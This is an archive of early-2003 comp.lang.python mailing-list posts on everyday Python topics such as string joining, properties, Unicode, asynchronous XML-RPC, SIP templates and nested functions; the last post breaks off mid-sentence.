From skip at pobox.com  Fri Jan 31 08:48:34 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 31 Jan 2003 07:48:34 -0600
Subject: Joining strings versus augmented assignment
In-Reply-To: <8f2c2d6b.0301310534.426f1f64@posting.google.com>
References: <8f2c2d6b.0301310534.426f1f64@posting.google.com>
Message-ID: <15930.32434.584120.491277@montanaro.dyndns.org>

    Andy> In his Linux Journal piece on Quixote
    Andy> (http://www.linuxjournal.com/article.php?sid=6178) Greg Ward
    Andy> mentions that when joining a series of strings together it is more
    Andy> efficient to use "".join(listOfStrings) rather than += (augmented
    Andy> assignment).

Augmented assignment:

    s += t

amounts to nothing more than 

    s = s + t

Once that equivalence is established, you can refer to the somewhat
outdated, but still germane:

    http://manatee.mojam.com/~skip/python/fastpython.html#stringcat

for the remaining details.

Skip




From jbperez808 at yahoo.com  Mon Jan 20 19:45:43 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 20 Jan 2003 16:45:43 -0800
Subject: PEP 8 and properties
References: <f57664b9.0301191717.2fa584d5@posting.google.com> <v2mlb2s499teb2@news.supernews.com>
Message-ID: <f57664b9.0301201645.1f10b82b@posting.google.com>

"John Roth" <johnroth at ameritech.net> wrote in message news:<v2mlb2s499teb2 at news.supernews.com>...
> I think there's some confusion here. The dictum that
> you don't expose variables comes from the "information
> hiding" school of thought. A variable is part of the
> internal implementation of the class, and you should
> be able to change it freely. A function, on the other
> hand, is part of an API, and doesn't constrain changes
> to the implementation nearly as much.
> 
> Now, if the language includes properties, then the
> assessment changes, because there is no external
> difference between variables and properties. You
> can publish a variable, and then if you want to change
> the implementation so that the variable doesn't (even
> conceptually) exist any more, you can make it
> a property, which lets you slide the accessor functions
> in under the hood.

In other words, properties let us have our cake and eat
it too.  But they are flexible enough that you're going
to have to enforce some strict conventions on their usage
to avoid possible confusion.  I'm starting to see how
they can be Pythonic.



From vecernik at aon.at  Tue Jan 14 02:55:38 2003
From: vecernik at aon.at (Oliver Vecernik)
Date: Tue, 14 Jan 2003 08:55:38 +0100
Subject: PyGreSQL and HTML
References: <3E2362E7.4F9D69E2@nr.usu.edu>
Message-ID: <3E23C27A.1020306@aon.at>

Dave Roberts schrieb:
> Does anyone know how to shift postgres into html table mode from inside
> PyGreSQL?
> 
> From inside postgres it's simple:  \pset format html
> 
> However, all my attempts to pass postgres that string from inside
> PyGreSQL seem to get trapped by the interpreter.  I'm trying to use
> python cgi scripts to present queries, and since the output is going to
> stdout (the browser), if I could just kick postgres into html it would
> be self-presenting.

Yep, but I think it' not possible, because as far as I know this is a 
function of psql and not the database server itself.

Oliver




From peterwu at hotmail.com  Tue Jan  7 22:33:58 2003
From: peterwu at hotmail.com (Peter Wu)
Date: Wed, 8 Jan 2003 11:33:58 +0800
Subject: Python vs .Net (
References: <mailman.1041982992.14279.python-list@python.org>
Message-ID: <avg678$fdmj2$1@ID-117651.news.dfncis.de>

In article <mailman.1041982992.14279.python-list at python.org>, Lulu of
the Lotus-Eaters wrote:

> "Etienne Charland" <mystery at golden.net> wrote previously:
>> Some work is done to make .NET cross-platform: MONO
>> www.go-mono.com
>
> I do hope everyone knows that it is not a question of IF, but WHEN,
> Microsoft will decide to sue MONO out of existence.

Why?

Are you from Microsoft?

--
Cheers, Peter





From djc at object-craft.com.au  Thu Jan 30 20:33:19 2003
From: djc at object-craft.com.au (Dave Cole)
Date: 31 Jan 2003 12:33:19 +1100
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043956135.5480.python-list@python.org> <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net>
Message-ID: <m3of5yf6hs.fsf@ferret.object-craft.com.au>

>>>>> "Brandon" == Brandon Van Every <vanevery at 3DProgrammer.com> writes:

Brandon> Dave Brueck wrote:
>> On Thu, 30 Jan 2003, Mark Charsley wrote:
>>> I'm used to the compiler/linker giving me a lot of reassurance
>>> that my code works.
>>  That's common, but in many cases it's a _false_ sense of
>> reassurance.

Brandon> It kills many problems before they arise.

>> Even in C++ I end up checking all uses of a refactored function
>> despite what the compiler says because it can catch only the
>> simplest of problems.

Brandon> Sounds like your functions must do an awful lot if they need
Brandon> so much checking.  Maybe your functions should be smaller,
Brandon> more incremental, easier to verify?

Ahhh yes, the excellent safety net of the compiler/linker.  It
compiles, my work is done...

- - calculate-wage.c - - - - - - - - - - - - - - - - - - - - -
#include <stdio.h>

float calculate_weekly_wage(float hours, float rate)
{
    if (hours > 37.5)
	return 37.5 * rate + (37.5 - hours) * rate * 1.5;
    return hours * rate;
}

int main(int argc, char *argv[])
{
    float hours = 45.0;
    float rate = 10.0;

    printf("Worked %.2f hours at $%.2f hourly rate.\n", hours, rate);
    printf(" -> wage (including overtime) is $%.2f.\n",
	   calculate_weekly_wage(hours, rate));
    return 0;
}
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

% cc calculate-wage.c -o calculate-wage   
% ./calculate-wage 
Worked 45.00 hours at $10.00 hourly rate.
 -> wage (including overtime) is $262.50.

What!!!  How can that be!!!  It passed through the compiler/linker
safety net.

Ahh...  This gcc is crap.  Maybe I need to use the intel compiler.

- Dave

-- 
http://www.object-craft.com.au



From mwh at python.net  Tue Jan 21 05:48:42 2003
From: mwh at python.net (Michael Hudson)
Date: Tue, 21 Jan 2003 10:48:42 GMT
Subject: String methods understanding anything but ASCII?
References: <slrnb2m4mv.sq2.mlh@furu.idi.ntnu.no> <b0f9k4$n7v$00$1@news.t-online.com> <slrnb2onq2.2ai.mlh@vier.idi.ntnu.no>
Message-ID: <7h3iswikcc2.fsf@pc150.maths.bris.ac.uk>

mlh at vier.idi.ntnu.no (Magnus Lie Hetland) writes:

> (u'?', though, uses 'iso8859-1', since that is what my c library
> uses, I suppose.)

Err, I *think* that's because unicode code points are a superset of
iso-8859-1 code points.

Python 2.3 will allow you to specify which encoding a source file's
unicode strings are in (and complain at you if you use non-ASCII
characters without explication), but I don't know what the interactive
interpreter does.

Cheers,
M.

-- 
     ARTHUR:  Why are there three of you?
  LINTILLAS:  Why is there only one of you?
     ARTHUR:  Er... Could I have notice of that question?
                   -- The Hitch-Hikers Guide to the Galaxy, Episode 11



From tjreedy at udel.edu  Tue Jan  7 10:28:07 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 7 Jan 2003 10:28:07 -0500
Subject: newbie: unicode
References: <avdv6k$clp$1@news.online.de> <DPvS9.4982$LY2.288377@newsc.telia.net> <m38yxxnt20.fsf@mira.informatik.hu-berlin.de>
Message-ID: <KladnQcRncEtbIejXTWcow@comcast.com>

"Martin v. L?wis" <martin at v.loewis.de> wrote in message
news:m38yxxnt20.fsf at mira.informatik.hu-berlin.de...
> "Fredrik Lundh" <fredrik at pythonware.com> writes:
>
> > how are you executing that command?
> >
> > there's no way that piece of code can give that error message,
> > as long as ">>>" is an ordinary Python 2.x interpreter prompt, and
> > you haven't been hacking around in the site configuration files...
>
> You get that error in IDLE. Tk returns the source code as a Unicode
> object, IDLE passes it to compile. This produces the UnicodeError.

It works fine in PythonWin's interactive window.

tjr





From benno at sesgroup.net  Mon Jan  6 05:25:51 2003
From: benno at sesgroup.net (Ben Leslie)
Date: Mon, 6 Jan 2003 21:25:51 +1100
Subject: Laura's List - was Re: new years resolutions
In-Reply-To: <200301051923.h05JNcjL025876@ratthing-b246.strakt.com>
Message-ID: <20030106212551.A19866@bob.sesgroup.com.au>

On Sun, 05 Jan 2003, Laura Creighton wrote:

> > Now, if I may ask a personal question, what you didn't like in science/academ
> > ia ?

Although I agre with a lot of what you have said, I thought someone
better stand up on the side of academia. I'll add the disclaimer however
that I've only just finished my first undergraduate degree, so I may
not have had enough time to experience all the lows possible in 
academia, or more likely I've been lucky with the lectures I've had
and the other students I've worked with.
 
> This is just off the top of my head....
> 
> 1. preoccupation with cleverness as opposed to wisdom

Care to expand on this point? I don't quite get what you mean.

> 2. giving the job of 'preparing people for industry' to people who have
>    mostly never been there.

Is this really the task of university? I thought university was there to
teach me to think, not to cram me full of <insert overhyped technology
here>.

> 3. believing that teaching is something that comes naturally.  No effort
>    is made to train professors on how to teach well.  This is a trainable
>    skill.

Have to agree with this one.

> 5. Greedily embracing the notion that 'a university education is for
>    everyone' because it means more funding, reguardless of what it means
>    for would-be academics who now usually have to wait until they get
>    to grad school -- or now in some fields a postdoc before they can do 
>    anything truly original.  That is too long a wait.

I'm not sure what you are suggesting here. Are you saying there are not
enough interesting problems to tackle, or that universities provide the
opportunity for people to tackle the problems? (I'm going to assume the
latter :).  Surely this is up to the student as much as anything, what
is stopping them from finding some interesting original work?

> 6. Classroom teaching as opposed to Master/Apprentice type relationships.

Well unfortunately the funding arrangements in most universities do not
allow this sort of interaction in earlier years. In my expereience though,
you do have the opportunity for this the Master/Apprentice style of teaching
in later years.

> 7. Preoccupation with novelty, and originality, as opposed to soundness.
> 8. The complete disreguard of 'good workmanship' as the counterpart to
>    'sound design'.  These days people are likely to learn that the work
>    is good because it was 'designed well', as opposed to the fact that
>    one of many good designs was selected -- the result was good because
>    _the workmanship was good_.  (Good workmanship cannot save a really
>    rotten design, unfortunately.)

I haven't experienced this in my university education. Of course YMMV :)

> 9. A life focused on Grading people.  Making grades, not knowledge or
>    wisdom the important centre of the universe.

I don't know about focused, but this definately is true to a certain
extent. To get a degree you just need to pass the test, which basically
ends up meaning, not being in the bottom 25% of a course, because they
get scaled anyway. There is no measure of how much was actually learned.

> 10. (in some places) The notion that only the top 10% matter -- the
>     rest can all go hang.

I've found, in most courses, a balanced approach. Most of the teaching 
is really aimed at average. This leaves probably a lot of the top 10%
bored out of their collective brains. (Unfortunately people learn at
different rates; it can be frustrating when lecturers revise basic
concepts (like say converting hex to binary) in 3rd year subjects.)

Fortunately a few courses balance this by providing advanced challanges
for the top 10%. I don't see this as a bad thing. (But I may be
biases, oops, there is that ego you were talking about :).

> 11. The belief that business is somehow demeaning.
> 12. The belief that business is somehow superior. 
> 13. Too many fools.
> 14. Too swollen egos.

And how exactly does this different from industry? I find it difficult to
believe that all the fools and egoists go to academia and none into
industry.

> 15. The furthering of the belief that Art is merely entertainment.
> 16. The furthering of the belief that it is a good idea to appear
>     better than you really are.
> 17. Too many people who feel they have the right to be contemptuous of others.

This is sad, but true. :(

> 18. Too much paperwork.

Again, I can't really see it as being that much more than industry.

> 19. Too much specialisation within a given field.
> 20. Not enough play.

I think this probably depends a lot on the group you work with.

> 21. Really boring textbooks written by people who cannot write.

Oh yeah. It does make you really appreciate good textbooks
though :).

> 22. An over-reliance on analytical as opposed to geometric methods.
> 23. Avoidance of risk.
> 24. Avoidance of beauty.
> 25. Focusing on that which can be measured (in itself a good thing, and
>     the secret of Western success) but not to the extent where that
>     which cannot be measured is deemed unimportant, or even non-existant.
> 26. Students who sit like turnips in your lectures.

Hey, its a lot better than students that answer mobile phones in your
tutorials!
 
> I'll stop now.  I am sure you will get plenty more answers from other
> people.


Benno




From CousinStanley at HotMail.com  Fri Jan  3 12:39:00 2003
From: CousinStanley at HotMail.com (Cousin Stanley)
Date: Fri, 3 Jan 2003 10:39:00 -0700
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org> <m3isx76i7j.fsf@wilma.local> <3E1599DF.F870DF68@engcorp.com>
Message-ID: <av4hqi$bv4q1$1@ID-130333.news.dfncis.de>

Peter ...

Would it perhaps be possible to use  STCStyleEditor.py  that is included
in the wxPython samples to interface to SciTE ...

I've found editing the SciTE config files a bit cumbersome ...

Cousin Stanley





From martin at v.loewis.de  Sat Jan 25 07:03:50 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 25 Jan 2003 13:03:50 +0100
Subject: Something like asynchronous XML-RPC possible?
References: <mailman.1043454645.26543.python-list@python.org> <cb035744.0301250336.4f378943@posting.google.com>
Message-ID: <m33cnhwi55.fsf@mira.informatik.hu-berlin.de>

hwlgw at hotmail.com (Will Stuyvesant) writes:

> If they say that creating a thread for this is highly inefficient
> and a wrong design, what should my answer be?

Don't create a thread, then: the objection is valid that creating a
thread for each outgoing request is expensive. Instead, put the open
connection into a list of connections to process. Use select to find
out what connections are ready to have the results read from. On
sending each new request, first send the request, then check all open
connections, and close then ones that have completed.

Alternatively, have a single thread that collects all open
connections. Use a queue to pass new connections to that thread. If
there are no new connections, that thread will block, waiting for
work. If there are open connections, the thread will process the
responses one-by-one (or many of them simultaneously using select).

Neither of these two approaches require changes to the server side.

If changing the server side is acceptable, you can use a variation of
"XML-RPC without response", where you don't expect to get a response
back. You can then send the request over TCP, and immediately close
the connection. On the server side, you must suppress the sending of
the response.

Of course, you could also use a protocol that has oneway invocations
builtin, such as CORBA or Pyro.

Regards,
Martin



From missive at frontiernet.net  Mon Jan 13 18:33:44 2003
From: missive at frontiernet.net (Lee Harr)
Date: Mon, 13 Jan 2003 23:33:44 -0000
Subject: Is it advisable to replace 'self' with '_' or 'I' or something
References: <f57664b9.0301110959.5b1439da@posting.google.com> <3E210503.9A4F4AC8@alcyone.com> <4CuI+ks/K3jd089yn@the-wire.com>
Message-ID: <v26j6o4qdnqv7a@corp.supernews.com>

>>If you want to rebind it in the method, fine.
> 
>    As a tiny addition: I seem to find it more useful to
> rebind entire variables, so that I write
> 
>     t = self.tree
>     t.yadayada()
>     t.usw ()
> 
> rather than
> 
>     s = self
>     s.tree.yadayada()
>     s.tree.usw ()
> 

Exactly. I believe it can also be faster.
Might be important in a tight loop.




From durdn at yahoo.it.oops!.invalid  Thu Jan 23 17:50:18 2003
From: durdn at yahoo.it.oops!.invalid (Nicola Paolucci)
Date: Thu, 23 Jan 2003 22:50:18 GMT
Subject: How to do this in Python...
In-Reply-To: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com>
Message-ID: <Kk_X9.589339$xm4.23729445@Flipper>

Hi Michael,
the Python Cookbook is your friend. Recipe 1.9 is about Assigning and 
Testing with One Statement.

Look at page 18: http://www.oreilly.com/catalog/pythoncook/chapter/ch01.pdf

Best regards,
     Nicola Paolucci

Michael Tiller wrote:
> I'm puzzled by what seems like a missing piece of functionality in Python.
> I suspect there is a simple way to do what I want to do and I'm guessing
> someone here can point it out to me.  Here is the issue:
> 
> In C++, I could write a statement like this:
> 
> if (match=re.match(pattern, string))
>   // do something with the match object
> 
> But I cannot figure out how to do the equivalent thing in Python.  The idea
> here is to have an assignment statement within an if statement so that I
> don't have to call match twice or obfuscate the code.  It seems to me that
> my current options are:
> 
> match = re.match(pattern, string)
> if match:
>   // do something with match object
> 
> -or-
> 
> if re.match(pattern, string):
>     match = re.match(pattern, string)
> 
> The first one seems unnecessarily verbose and the second one is inefficient.
> Are there any other options?
> 
> --
> Mike
> 
> 
> 

-- 
#Remove .oops!.invalid to email or feed to Python:
'Tmljb2xhIFBhb2x1Y2NpIDxuaWNrQG5vdGp1c3RjYy5jb20+'.decode('base64')




From support at internetdiscovery.com  Wed Jan  1 18:04:45 2003
From: support at internetdiscovery.com (Mike Clarkson)
Date: Wed, 01 Jan 2003 23:04:45 GMT
Subject: Idle for Emacs users
Message-ID: <3e136c7d.16827583@news.look.ca>

I've added something to IDEStudio so that you can use Idle
with Emacs via gnuclient. It's a little rustic, but it's nice to
be able to use Idle as a GUI class inspector and debugger
along with Emacs.

Download IDEStudio from http://starship.python.net/crew/mike/Idle/.
Binaries are available for Linux and Windows.  From the readme:

IDEStudio can be used with an Alternate Editor, so that you can use
    your favourite editor, with Idle providing the Shell, Debugger and
    Inspector. Under Unix or Windows: 
    1.set the environment variable VISUAL or EDITOR to the name of
your
        editor, and make sure that it can be found on your PATH. 
     2.Under Options/Alternate Editor, select Use Alternate to Edit
Files. 
     3.It knows about Emacs and emacsclient or gnuclient. Under
        Tools/Emacs Alternate Editor, select Use gnuclient to Edit
Files. 

Happy New Year,

Mike



From joel at harmonicvision.com  Thu Jan 23 10:34:21 2003
From: joel at harmonicvision.com (Joel May)
Date: Thu, 23 Jan 2003 15:34:21 GMT
Subject: Compiled to bytecode like java?
Message-ID: <1YTX9.11024$AV4.1218@sccrnsc01>

First, I'm not really familiar with Python, esp under the hood.

I'm looking for a script language to embed in a device.  I have a home-grown
proprietary script language available, but it's rather primitive.  The nice
thing about it is that the interpreter is very simple and small.  The source
code is compiled to a byte code.  The byte code would be dumped on to the
device and interpreted there.

I'd like to use a more powerful language.  Apparently, embedding Python in
your C app is easy and well documented.

But I need to know:
* What would be downloaded to the device?  Would it be the actual source
code, which the interpreter would then parse and run?  Or is it a byte-code
like Java?  This would have a smaller interpreter and run faster.
* How complex is the Python source code?  If I port it to an
python-unsupported processor (a dsp), would I kill myself trying to get it
to work?  How many lines of source code are we talking about here?

Thanks in advance
Joel





From tim.one at comcast.net  Thu Jan 30 14:18:04 2003
From: tim.one at comcast.net (Tim Peters)
Date: Thu, 30 Jan 2003 14:18:04 -0500
Subject: .pyw files
In-Reply-To: <Fye_9.29$dO4.32110@news.uswest.net>
Message-ID: <BIEJKCLHCIOIHAGOKOLHGEBDELAA.tim.one@comcast.net>

[Kevin Altis]
> I thought .pyw got compiled to .pywc and an optimized compile would be
> .pywo? That is based on the default being to just append 'c' or 'o' to the
> original extension. Has that changed or am I remembering incorrectly?

If you don't have Python installed, it doesn't matter; if you do have Python
installed, you could have found out the answer faster than it took to write
the question <0.9 wink>.





From vlindberg at verio.net  Mon Jan 27 20:22:17 2003
From: vlindberg at verio.net (VanL)
Date: Mon, 27 Jan 2003 18:22:17 -0700
Subject: Algorithm help
Message-ID: <3E35DB49.2020701@verio.net>

Hello,

I am trying to create an internal representation of a maze in python.   
My first thought was to have a dict, with the keys being ordered pairs, 
and the values being 1 (wall) or 0 (no wall).  That way I could pretty 
efficently construct a graph that I could search for the solution.

However, the map description file is in a little different format than I 
expected -- I had thought that they were going to give us a file with a 
bunch of 1s and 0s.  However, what I actually will get is a list of 
lists of ordered pairs:

POINTS=[200,20 200,200 210,200 210,20]
POINTS=[320,20 320,200 330,200 330,20]

I am inclined to still go with the same representation, but I am trying 
to find a way to efficiently solve the above as an inequality, to get 
every integer point within the wall.  Does anyone know a good algorithm 
for doing so?


Alternatively, can anyone suggest a better internal representation?

Thanks,

VanL






From djc at object-craft.com.au  Fri Jan 31 00:37:22 2003
From: djc at object-craft.com.au (Dave Cole)
Date: 31 Jan 2003 16:37:22 +1100
Subject: Help a C++ coder see the light
References: <memo.20030130181135.820C@a.radioscape.com> <mailman.1043956135.5480.python-list@python.org> <lIg_9.5348$Wu1.409171@newsread1.prod.itd.earthlink.net> <m3of5yf6hs.fsf@ferret.object-craft.com.au> <ssbpg-gu3.ln1@beastie.ix.netcom.com>
Message-ID: <m3k7glev71.fsf@ferret.object-craft.com.au>

>>>>> "Dennis" == Dennis Lee Bieber <wlfraed at ix.netcom.com> writes:

Dennis> Dave Cole fed this fish to the penguins on Thursday 30 January
Dennis> 2003 05:33 pm:

>> Worked 45.00 hours at $10.00 hourly rate.
-> wage (including overtime) is $262.50.
>>  What!!!  How can that be!!!  It passed through the compiler/linker
>> safety net.
>> 
Dennis>         I had to go back to spot that error -- I was blinded
Dennis> by "... TWO return statements? How ugly... How might I do
Dennis> it...

In Python rather than C?

Dennis>     return (hours * rate) + (max(0, hours - 37.5) * rate * 0.5)

Dennis> (obviously this formulation also corrected for the error <G>)

Yeah, and I bet you used the Intel compiler too!

- Dave

-- 
http://www.object-craft.com.au



From schnoerr at mailzone.com  Thu Jan 23 17:34:23 2003
From: schnoerr at mailzone.com (=?ISO-8859-1?Q?Claudius_Schn=F6rr?=)
Date: Thu, 23 Jan 2003 23:34:23 +0100
Subject: Q: Linear constrained quadratic programming code in python?
Message-ID: <3E306DEF.1000004@mailzone.com>

Hello,

I'm looking for optimization code in python for a problem like this:

min( 0.5 x^T Q x + p^T x )

subject to

a_i^T x <= b_i, i \in I   (inequality constraints)
a_i^T x = b_i, i \in E    (equality constraints)

c_i <= x <= c_s

where

Q may be a positive definite Matrix,
a_i, b_i are vectors,
c_i and c_s are bounding vectors,
and x is the vector to minimize the problem.

Has anybody code for this in python?

Please send also a copy to

     schnoerr at mailzone.com

Thank you very much in advance,

Claudius




From hancock at anansispaceworks.com  Thu Jan  9 23:28:35 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Fri, 10 Jan 2003 04:28:35 GMT
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com> <mailman.1042119797.10638.python-list@python.org> <v1r87vpu6add72@corp.supernews.com>
Message-ID: <TZrT9.2455$Dq.234800@newsread2.prod.itd.earthlink.net>

Cameron Laird wrote:
> However, individual qualities remain more determinative of educational
> achievement than institutional ones.  I've got abundant anecdotal
> evidence of motivated people deriving more from low-prestige community
> colleges than better-heeled slackers doing at, say, Stanford.

As this may be relevant to the OP, I'd like to add that at a small college, 
a highly motivated individual may be able to find and conduct more 
interesting research to them personally.  Big schools, with large research 
grants, will channel students into doing whatever research they are getting 
money for (this has approached the status of a pathology in a lot of US 
schools).

Whereas, a small college, whose budget is almost entirely based on student 
tuition or state education funding, may very well be more open to students 
conducting original work. The trick is just finding a sympathetic 
advisor/professor to help you out with it. A motivated undergraduate can go 
a long way that way (and professors love motivated students).

The point is, that at a small college you have a better chance of becoming 
a local star student nstead of just rank and file, and you can use that to 
your advantage, if you are both pioneering and self-motivated.  Of course, 
there won't be a lot of money to be had, so you'll have to be prepared for 
shoestring budgets.

Personally, I like that kind of challenge.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From cnetzer at mail.arc.nasa.gov  Wed Jan 22 20:05:43 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 22 Jan 2003 17:05:43 -0800
Subject: logging module missing in 2.3a1
In-Reply-To: <f9068f8e.0301221602.3d97dbd@posting.google.com>
References: <f9068f8e.0301221602.3d97dbd@posting.google.com>
Message-ID: <200301230105.RAA21342@mail.arc.nasa.gov>

On Wednesday 22 January 2003 16:02, Janto Dreijer wrote:
> Python 2.3a1 (#38, Dec 31 2002, 17:53:59) [MSC v.1200 32 bit (Intel)]

> >>> import logging

> ImportError: No module named logging

Do you mean:

import warnings

?

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer





From hancock at anansispaceworks.com  Wed Jan 29 09:15:19 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Wed, 29 Jan 2003 14:15:19 GMT
Subject: popen4 doesn't block?
References: <xgkY9.1183$d66.119417@newsread1.prod.itd.earthlink.net> <bq89g-3p3.ln1@beastie.ix.netcom.com> <v8i9g-tr3.ln1@beastie.ix.netcom.com>
Message-ID: <XlRZ9.2602$wd2.198227@newsread2.prod.itd.earthlink.net>

Dennis Lee Bieber wrote:
>         Strike that... based upon other posters it does look like you need
>         to
> do all the writes first, /then/ do a read which blocks until the
> process ends.

Yeah, that's the right answer, it worked very well (thought I should cap 
this, since I left it a little vague before -- the remaining bug was a 
trivial typo).  Thanks a lot for the suggestions!

Of course I realized as soon as I tried it that popen can't block for 
obvious logical reasons, but I hadn't thought it through to a solution.
In fact, I've used popen before, but I always closed it right away, so I 
never really thought about how it worked.  That .read() blocks is very 
sensible (I suppose .readline() would not, though).  Of course, once I read 
the data, I'm free to close it right away, too, so things work out very 
smoothly.

Cheers,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From amk at amk.ca  Tue Jan  7 21:37:25 2003
From: amk at amk.ca (A.M. Kuchling)
Date: Tue, 07 Jan 2003 20:37:25 -0600
Subject: iteration over methods
References: <3E1AB7B3.4050404@aon.at> <v1lkl079pb5ib6@news.supernews.com> <mailman.1041984264.5054.python-list@python.org>
Message-ID: <R8ucnULj4qF4E4ajXTWcog@speakeasy.net>

On Tue, 7 Jan 2003 11:56:49 -0800, 
	Chad Netzer <cnetzer at mail.arc.nasa.gov> wrote:
>> >              if func[0:4] == 'method':
>                          ^^^
>                          This will never be true.
> should be func[0:6] or func[:6]

Better still: if func.startswith('method')

--amk



From jbublitzNO at SPAMnwinternet.com  Fri Jan 17 15:28:25 2003
From: jbublitzNO at SPAMnwinternet.com (Jim)
Date: Fri, 17 Jan 2003 20:28:25 GMT
Subject: SIP Python bindings generator - nested templates
References: <b071bo$msc$1@naxos.belnet.be> <3E271AB1.7030005@SPAMnwinternet.com> <b08j94$if6$1@naxos.belnet.be>
Message-ID: <3E286740.9050001@SPAMnwinternet.com>

Pakewak wrote:
> Jim wrote:
>  
> 
>>// in your sip files, you can either assign
>>// a new name to the template type, or just
>>// use it as the identifier - sip will accept
>>// the <'s and >'s as part of the identifier
>>%MappedType plSMat<plSquareMatrix<double>, 3>

> The line above causes a parse error. When I remove the second template 
> parameter it works:

Sorry - I've never had to try a nested
template.

> %MappedType plSMat<plSquareMatrix<double>>

> I'll stick to my manual hack until the next SIP release.

The semantics of:

%MappedType  plSMat<plSquareMatrix<double>, 3>

is the same as:

%MappedType SomeTypenameSipLikes

"SomeTypeNameSipLikes" is just a name for the
mapping - it has no other significance (other
than sip has to be able to parse it). In the
.sip file you then replace the template based
name with the new name:

plSMat<plSquareMatrix<double>, 3> someMethod ();

becomes:

SomeTypenameSipLikes someMethod ();

Inside the %Convert* blocks you use the
original template-based name, unless you
typedef the original name to the new name
someplace (like in the %MappedType's
%HeaderCode block) - the %Convert* code
gets parsed by gcc, but not by sip (more
or less).

You can modify the sip-generated C++ code,
but it's a pain when you do maintenance
or upgrades or if you find another bug in
your .sip file - any time you have to
re-generate the code you have to re-patch.


Jim




From max at alcyone.com  Fri Jan 24 19:42:30 2003
From: max at alcyone.com (Erik Max Francis)
Date: Fri, 24 Jan 2003 16:42:30 -0800
Subject: Books for newbies
References: <3C364233-2F2E-11D7-A454-000393DC08EA@mac.com> <mailman.1043424107.18542.python-list@python.org>
Message-ID: <3E31DD76.E548D246@alcyone.com>

shawnwheatley at mailcan.com wrote:

> Contrary to the name, I've been able to find some interesting code
> snipits here.  Also, do a search for Dr. Dobb's Python Links (or
> something like that).  It's posted to the mailing list every few
> weeks,
> but I know there's a link to the archives of these lists somewhere (I
> have to make you do *some* work, how else will you learn?  :)

I presume you're referring to Dr. Dobb's Weekly Python-URL!, which is
posted (shock, horror) weekly and is available on the Web at

	http://www.ddj.com/topics/pythonurl/

The Web archives seem to be a few weeks behind, though.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I grow with each breath that I take / I cherish my freedom
\__/ Chante Moore
    ZOE / http://www.alcyone.com/pyos/zoe/
 A simple Python OpenGL rendering engine.



From tjreedy at udel.edu  Sat Jan  4 13:26:31 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sat, 4 Jan 2003 13:26:31 -0500
Subject: Applications/examples of some advanced Py features, please !
References: <5a969143.0301040712.4cd2ad10@posting.google.com>
Message-ID: <nLqcnYTHIf0PuoqjXTWcqg@comcast.com>

"Az Tech" <aztech1200 at yahoo.com> wrote in message
news:5a969143.0301040712.4cd2ad10 at posting.google.com...

> Can anyone please give some examples / applications of the use of
the
> following advanced (advanced to me, at least :-) features of Python
:

> 2. nested functions - a little info was given by Danny in reply to
my
> earlier post on local-static variables, but I would like more.

There are at least two quite different uses for nested functions:

A. Create and return a function!  Simple example:

def adder(n):
  def _(m): return m+n
  return _

or, more succintly (preference being a matter of taste and programming
religion).

def adder(n): return lambda m: m+n

B. Implement a recursive algorithm.  Nesting may be useful for at
least two reasons:

B1. There may be some initial calculation that only needs to be done
once and may need to be done only once (and never again).  Example a:
checking the validity of external input.  Once this is done, you know
that your recursive calls will be made with valid values that do not
need to be checked.  Example b: calculating the initial value of an
internal data structure.

B2. Recursion may (and often does) require an additional parameter
that users do not need to know about, let alone be required to enter
the initial value of.  In other words, f(x) may be implemented as g(x,
c0), where c0 is the initial value of the addition param.

Example: list all ways to partition positive count n as the sum of k
positive counts:

def part(n0, k0):
  if not 1 <= k0 <= n0: raise ValueError, "k must be in range [1,n]"
  # only needs to be done once
  result = []
  worklist = [0]*k0
  # must be done only once
  def _part(n, k, previous,):
    if k == 1:
      worklist[0] = n
      result.append(tuple(worklist))
    else:
      k1 = k-1
      for p in range(min(previous, n - k1), (n-1)/k, -1):
        worklist[k1] = p
        _part(n-p, k1, p)
  _part(n0, k0, n0)
  # note 3rd param which is initially n but generally not thereafter
  # making function user enter this twice would be error-prone
nuisance,
  # especially if argument for n is an expression
  return result

>>> part(6,2)
[(1, 5), (2, 4), (3, 3)]
>>> part(6,3)
[(1, 1, 4), (1, 2, 3), (2, 2, 2)]
>>> part(6,4)
[(1, 1, 1, 3), (1, 1, 2, 2)]

Terry J. Reedy





From jbperez808 at yahoo.com  Fri Jan 17 03:25:17 2003
From: jbperez808 at yahoo.com (Jonathan P.)
Date: 17 Jan 2003 00:25:17 -0800
Subject: Coding standard: Prefixing variables to indicate datatype
References: <mailman.1042763431.24621.python-list@python.org>
Message-ID: <f57664b9.0301170025.596f6482@posting.google.com>

"David LeBlanc" <whisper at oz.net> wrote in message news:<mailman.1042763431.24621.python-list at python.org>...
> Charles Semonie (sp?) said he rued the day he ever even thought of
> "hungarian" notation, let alone foisted it upon an unsuspecting developer
> world.
> 
> Plain and simple it's bad programming practice. Among other things, it
> encourages bad names for variables and focuses more on the data's type then
> it's use.

I first encountered Hungarian notation in a Byte article
written by Simonyi himself.  Couldn't make much heads or 
tails out the article and frankly was annoyed at how
complicated it seemed (and how much grief it gives to the
